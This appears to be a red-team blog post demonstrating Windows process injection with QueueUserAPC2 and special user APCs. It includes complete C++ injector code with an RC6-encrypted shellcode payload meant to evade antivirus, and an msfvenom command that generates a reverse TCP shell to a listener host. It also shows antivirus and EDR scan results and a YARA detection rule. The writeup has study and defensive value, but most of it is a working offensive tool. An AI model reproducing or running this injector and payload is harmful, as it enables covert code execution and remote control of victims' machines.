Original post by S12 – 0x12Dark Development
In this article, I will demonstrate one of the classic, fundamental techniques for injecting shellcode into a remote process using APCs. I realized I hadn’t documented this method yet, so that is exactly what we will cover today. specifically, we will be combining QueueUserAPC2 with NtTestAlert

Introduction
APC’s
To understand this injection technique, we first need to understand the mechanism it exploits: Asynchronous Procedure Calls (APCs)
In the Windows operating system, every thread has its own unique APC queue. You can think of this as a To-Do list maintained by the kernel for that specific thread. When the system (or a user) wants a thread to perform a task asynchronously (without creating a whole new thread) it can queue an APC to that thread
For malware authors and red teamers, this is a golden opportunity. If we can get a handle to a target thread in a remote process, we can use the QueueUserAPC (or QueueUserAPC2) API to add our own malicious task to that thread’s queue. Instead of a benign system task, we point the APC to our shellcode. Once the thread decides to process its To-Do list, our code executes in the context of that legitimate process
The “Alertable State” Problem & Special User APCslike Kaspersky and Bitdefender
This brings us to the critical limitation of the classic QueueUserAPC technique: The Alertable State.
Historically, just adding an APC to a queue wasn’t enough. The target thread would only look at its APC queue when it entered an Alertable State. This happens when a thread calls specific synchronization functions (like SleepEx, WaitForSingleObjectEx, or MsgWaitForMultipleObjectsEx) with the bAlertable flag set to TRUE.
If the target thread is busy doing heavy calculation or never enters an alertable state, your shellcode sits in the queue forever, never executing.
Enter QueueUserAPC2 and NtTestAlert.
This is where the newer API QueueUserAPC2 shines. It allows us to pass the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag.
Unlike a standard APC, a Special User APC does not wait for the thread to voluntarily enter an alertable state. Instead, the kernel forces the thread to jump to the user-mode APC dispatcher (often effectively triggering NtTestAlert logic) the next time it transitions from kernel mode to user mode. Since threads make syscalls and context switches constantly, this essentially guarantees execution almost immediately, bypassing the biggest hurdle of classic APC injection.
#include <Windows.h>
#include <iostream>
#include <stdio.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <string.h>
#include <string>
#include "Scrc6.h"
using namespace std;
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
HANDLE findThread(int pid) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return NULL;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnap, &te32) != FALSE) {
do {
if (te32.th32OwnerProcessID == pid) {
CloseHandle(hSnap);
return OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
}
} while (Thread32Next(hSnap, &te32) != FALSE);
}
CloseHandle(hSnap);
return NULL;
}
unsigned char payload[] = "\xbb\xe6\x5d\xf9\x10\x50\x5d\xd5\xee\x9f\x3d\xea\x00\x43\x24\xac\x83\x2c\x15\x76\x51\xef\x17\x0f\x95\xe3\x5b\x5d\x5b\xad\xdb\xd1\x4c\x78\x01\x0f\xbc\xb4\x74\x67\xbb\x0a\xce\xa2\x78\xba\x9e\x15\x93\x16\x39\x2e\x37\x7a\x92\xda\x77\x6a\x37\x69\x01\x4b\x0b\x0e\x9f\x3b\x64\x37\x75\x9e\x2b\x61\x08\xae\xd1\x55\x6f\x17\x5f\xc1\x73\x10\xc1\x12\x28\x40\xee\xe3\xee\x85\xf9\x6a\x68\x2d\xd0\x05\x75\x63\xa6\x16\xce\x37\xdb\x51\x3b\x02\xc6\x3d\xdc\xb2\x06\x02\x81\xdd\xe9\xc6\x7a\xbd\xa8\x8d\x75\xf9\x75\xbf\xf9\x88\x6a\x04\xbf\xeb\xef\x89\xe0\x0e\xee\x19\x81\x48\xa8\x4a\xac\xba\x6c\xee\x3a\xb9\x51\x24\xec\xb5\x1f\x10\xf8\x73\x95\x75\xac\x49\x83\x2f\x62\xab\x68\xb7\x96\x0c\x82\x53\xfd\xc7\xe4\x7c\xf9\x8c\x9c\x04\x1d\xa2\xb9\x2c\xe2\x8a\xb9\xf3\x9c\x8c\x4f\x41\x8e\x93\xb3\x13\x8c\xad\x11\xc4\x23\x43\x39\x82\x75\x1f\x5c\xff\x78\xc9\x21\xe6\x32\x1f\x2b\x42\x4f\xb5\x98\x25\x41\x4e\xaa\x5e\x53\x73\x94\x5c\xbd\x2e\x11\xd4\xf0\x5e\xb5\x52\xb8\x03\x8e\xe4\xa7\x4e\x4d\xd5\x6b\x54\x65\xba\xc4\xdd\xa6\x53\x4d\x87\x57\x93\x37\x73\x0f\x67\xbf\x30\xff\xd2\x57\xd4\x0b\xd0\xa9\x29\x33\xdb\x0c\x88\xff\x72\x50\xd7\x64\xb4\xa5\x85\x39\x3e\xf7\x69\xd8\xaf\x2f\x11\xb7\xae\x7a\x58\xb9\x4b\xf7\x62\x2b\x35\x81\x88\xbe\x8e\xda\x2d\xf0\x72\x16\xc4\x6d\x07\x4f\x12\xca\x09\xdc\x7f\x2a\x8c\x98\x54\xa1\xab\x6a\xda\x53\x7c\x11\xed\xe3\x71\xc9\x97\x35\x32\x2b\x45\x12\x7a\xb6\xe5\xc8\x63\x1c\x62\x25\xd9\xef\x12\x61\xa9\x99\x93\xd2\xb5\x15\x19\x62\x36\x95\x1a\x7f\x9a\xd4\x3a\xae\x43\x1a\xfe\xc8\x5b\x42\xf6\x9b\xad\x5f\x22\xc1\xc8\x77\x86\x6d\x1a\x97\xa4\x9a\xbb\x4c\xb9\xfc\x83\xd1\x31\x6a\x2c\x0e\x0b\x4e\xe2\x0a\x7d\x4b\x0d\xaf\xcf\x37\xc1\x13\xd6\xd0\x51\x49\x5e\xa1\xf2\x7f\xd5\xf8\x4b\xe1\x4a\x6e\x15\xbc\xa3\x9b\xa7\xac\x01\x1c\xca\xe1\xad\x5c\xb0\xa2\x88\x7c\xad\x23\xe9\xaa\x70\x01\xbb\x6a\xfc\x7a\xfc\x7c\xad\xe5\x06\xe9\xc8\xa4\xe2\x2c\x3d\xa8\x78\xc0\xd2\x3b\xf5\x57\xa6\x3c\xae\x1a\x8c\x80\x5a\xa8\x06\x3f\xe2\x31\x17\x72\x8d\xc8\x08\x15\xda\x76\x0f\xbd\x61\x84\xb7\xdf\xb6\xf2\x49\xa0\x55\xa7\xb3\xa0\x85\x3b\x9a\x6c\x81\x9d\xc3\x8a\xc2\x95\x98\x76\xfb\xe6\x01";
int main(int argc, char* argv[]) {
const uint8_t key[KEYLEN] = { 0x24, 0x3F, 0x6A, 0x88, 0x85, 0xA3, 0x08, 0xD3, 0x45, 0x28, 0x21, 0xE6, 0x38, 0xD0, 0x13, 0x77 };
WORD S[2 * ROUNDS + 4];
rc6_setup(key, S);
SIZE_T payloadLen = sizeof(payload);
// Decrypt the payload in place (safe since block reads are copied to locals first)
for (size_t i = 0; i < payloadLen; i += 16) {
rc6_decrypt(payload + i, S, payload + i);
}
int pid = getPIDbyProcName("notepad++.exe");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
printf("OpenProcess failed: %lu\n", GetLastError());
return 1;
}
LPVOID newMemorySpace = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (newMemorySpace == NULL) {
printf("VirtualAllocEx failed: %lu\n", GetLastError());
return 1;
}
if (!WriteProcessMemory(hProcess, newMemorySpace, payload, payloadLen, NULL)) {
printf("WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, newMemorySpace, 0, MEM_RELEASE);
return 1;
}
HANDLE hThread = findThread(pid);
if (hThread == NULL) {
printf("findThread failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, newMemorySpace, 0, MEM_RELEASE);
return 1;
}
typedef NTSTATUS(NTAPI* resolvedNtTestAlert)();
resolvedNtTestAlert executor = (resolvedNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert"));
typedef VOID(NTAPI* PAPCFUNC)(ULONG_PTR Parameter);
PAPCFUNC apcRoutine = (PAPCFUNC)newMemorySpace;
QueueUserAPC2((PAPCFUNC)apcRoutine, hThread, NULL, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC); // If using QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC the APC will be triggered automatically
//QueueUserAPC2((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL, QUEUE_USER_APC_FLAGS_NONE); // If using QUEUE_USER_APC_FLAGS_NONE we need NtTestAlert to trigger the APC
// Trigger APC execution (required for QUEUE_USER_APC_FLAGS_NONE)
//executor();
//VirtualFreeEx(hProcess, newMemorySpace, 0, MEM_RELEASE);
return 0;
}
The code can be divided into three main stages: Target Acquisition, Payload Preparation, and Injection via Special User APC:
- Target Acquisition
Before we can inject anything, we need a target. The code uses the ToolHelp32 API (standard for process enumeration) to locate our victim
getPIDbyProcName: This function takes a process name (e.g.,"notepad++.exe"), takes a snapshot of all running processes usingCreateToolhelp32Snapshot, and iterates through them to find the matching Process ID (PID)findThread: Once we have the PID, we need a specific thread to hijackThis function takes another snapshot (this time for threads) and returns a handle to the first thread it finds that belongs to our target PID
2. Payload Preparation (RC6 Decryption)
To avoid static signature detection by AV/EDR, the shellcode is not stored in plain text
// Decrypt the payload in place
for (size_t i = 0; i < payloadLen; i += 16) {
rc6_decrypt(payload + i, S, payload + i);
}
The code includes a custom Scrc6.h header. Before any Windows API interaction occurs, the payload array is decrypted in memory using the RC6 algorithm. This ensures the malicious byte-code is only visible in memory just moments before injection
3. The Injection Logic
This is the core of the technique
OpenProcess: We get a handle to the target process withPROCESS_ALL_ACCESSrightsVirtualAllocEx: We allocate memory inside that remote process. Note the protection is set toPAGE_EXECUTE_READWRITE(RWX), which is often flagged by EDRs, but necessary for this basic example to run the shellcodeWriteProcessMemory: We copy our decrypted shellcode into the newly allocated memory space of the target process
4. Execution: QueueUserAPC2 & The “Special” Flag
This is where the magic happens and where this technique differs from the classic approach
QueueUserAPC2(
(PAPCFUNC)apcRoutine,
hThread,
NULL,
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
);
apcRoutine: This points to the address where we wrote our shellcode in the remote processhThread: The handle to the remote thread we found earlierQUEUE_USER_APC_FLAGS_SPECIAL_USER_APC: This is the critical flag
Why this flag matters: If we used the standard QueueUserAPC (or the FLAGS_NONE option in v2), the kernel would simply add our job to the thread’s queue and wait. The shellcode would only execute if the victim thread voluntarily entered an Alertable State.
By using QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, we tell the kernel to force an interruption. The next time the target thread is scheduled to run (which happens constantly as threads switch contexts), the kernel forces it to jump to the APC dispatcher, executing our shellcode immediately
ou will notice
NtTestAlertandexecutor()are commented out. This is becauseNtTestAlertis used to force the current local thread to check its APC queue. Since we are injecting into a remote process and using the “Special” flag, the remote thread handles the execution automatically, makingNtTestAlertunnecessary in this specific remote scenario
Proof of Concept
Windows 11:
So let’s create the shellcode for example with this msfvenom command:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.144 LPORT=1212 -f c -b '\x00' EXITFUNC=thread
And then just start a listener and execute the code:

Great 😉
Detection
Now it’s time to see if the defenses are detecting this as a malicious threat
Kleenscan API
[*] Antivirus Scan Results:
- alyac | Status: ok | Flag: Dump:Generic.Shellcode.Ode.Marte.A.91A061FB | Updated: 2026-01-28
- amiti | Status: ok | Flag: Undetected | Updated: 2026-01-28
- arcabit | Status: ok | Flag: Dump:Generic.Shellcode.Ode.Marte.A.91A061FB | Updated: 2026-01-28
- avast | Status: ok | Flag: Undetected | Updated: 2026-01-28
- avg | Status: ok | Flag: Undetected | Updated: 2026-01-28
- avira | Status: scanning | Flag: Scanning results incomplete | Updated: 2026-01-28
- bullguard | Status: ok | Flag: Undetected | Updated: 2026-01-28
- clamav | Status: ok | Flag: Undetected | Updated: 2026-01-28
- comodolinux | Status: ok | Flag: Undetected | Updated: 2026-01-28
- crowdstrike | Status: ok | Flag: Threat Detected | Updated: 2026-01-28
- drweb | Status: ok | Flag: Undetected | Updated: 2026-01-28
- emsisoft | Status: ok | Flag: Dump:Generic.Shellcode.Ode.Marte.A.91A061FB | Updated: 2026-01-28
- escan | Status: ok | Flag: Undetected | Updated: 2026-01-28
- fprot | Status: ok | Flag: Scanning results incomplete | Updated: 2026-01-28
- fsecure | Status: scanning | Flag: Scanning results incomplete | Updated: 2026-01-28
- gdata | Status: ok | Flag: Dump:Generic.Shellcode.Ode.Marte.A.91A061FB | Updated: 2026-01-28
- ikarus | Status: ok | Flag: Undetected | Updated: 2026-01-28
- immunet | Status: ok | Flag: Undetected | Updated: 2026-01-28
- kaspersky | Status: ok | Flag: Undetected | Updated: 2026-01-28
- maxsecure | Status: ok | Flag: Undetected | Updated: 2026-01-28
- mcafee | Status: ok | Flag: Undetected | Updated: 2026-01-28
- microsoftdefender | Status: ok | Flag: Trojan:Win64/Meterpreter.F | Updated: 2026-01-28
- nano | Status: ok | Flag: Undetected | Updated: 2026-01-28
- nod32 | Status: ok | Flag: Undetected | Updated: 2026-01-28
- norman | Status: ok | Flag: Undetected | Updated: 2026-01-28
- secureageapex | Status: ok | Flag: Malicious | Updated: 2026-01-28
- seqrite | Status: ok | Flag: Undetected | Updated: 2026-01-28
- sophos | Status: ok | Flag: Undetected | Updated: 2026-01-28
- threatdown | Status: ok | Flag: Undetected | Updated: 2026-01-28
- trendmicro | Status: ok | Flag: Undetected | Updated: 2026-01-28
- vba32 | Status: ok | Flag: Undetected | Updated: 2026-01-28
- virusfighter | Status: scanning | Flag: Scanning results incomplete | Updated: 2026-01-28
- xvirus | Status: ok | Flag: Undetected | Updated: 2026-01-28
- zillya | Status: ok | Flag: Undetected | Updated: 2026-01-28
- zonealarm | Status: pending | Flag: N/A | Updated: 2026-01-28
- zoner | Status: ok | Flag: Undetected
Litterbox
Static Analysis:

Threat Detection Details
Detection Offset
0x38B8
Relative Location
14520 / 16896 bytes
Final Threat Detection
Trojan:Win64/Meterpreter.F
Dynamic Analysis:

…
ThreatCheck
Press enter or click to view image in full size

Elastic EDR
malware, intrusion_detection, process event with process QueueUserAPC2ProcInj.exe,
parent process explorer.exe, file QueueUserAPC2ProcInj.exe, by s12de on s12
created high alert Malware Prevention Alert.
Kaspersky Free AV
Detected!
Bitdefender Free AV
Detected!
YARA
Here a YARA rule to detect this technique:
rule Win_ProcessInjection_QueueUserAPC2_Special {
meta:
description = "Detects potential remote process injection using QueueUserAPC2 with Special User APC flags"
author = "0x12 Dark Development"
technique = "APC Injection"
threat_level = "High"
strings:
// Core APIs for thread/process enumeration
$api1 = "CreateToolhelp32Snapshot" ascii wide
$api2 = "Thread32First" ascii wide
$api3 = "Thread32Next" ascii wide
// The injection/execution functions
$apc1 = "QueueUserAPC2" ascii wide
$apc2 = "NtTestAlert" ascii wide
$apc3 = "QueueUserAPC" ascii wide
// The specific flag for Special User APCs (QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x00000001)
// We look for the hex representation or common surrounding code patterns
$flag_hex = { 01 00 00 00 }
condition:
uint16(0) == 0x5A4D and // Check for PE header
(
// Logic: Must have enumeration capability + the specific APC call
(2 of ($api*)) and
($apc1 or ($apc2 and $apc3)) and
$flag_hex
)
Conclusions
By leveraging QueueUserAPC2 with the SPECIAL_USER_APC flag, we can effectively bypass the traditional “alertable state” requirement that often stalls standard APC injection. This technique turns a passive queueing system into a proactive execution engine, ensuring that our shellcode runs as soon as the target thread transitions through the kernel. While the scan results show that modern EDRs and AVs (like Kaspersky and Bitdefender) are increasingly sensitive to these memory patterns and API calls, understanding these fundamental Windows internals remains essential for any offensive developer.
📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter
We help security teams enhance offensive capabilities with precision-built tooling and expert guidance, from custom malware to advanced evasion strategies

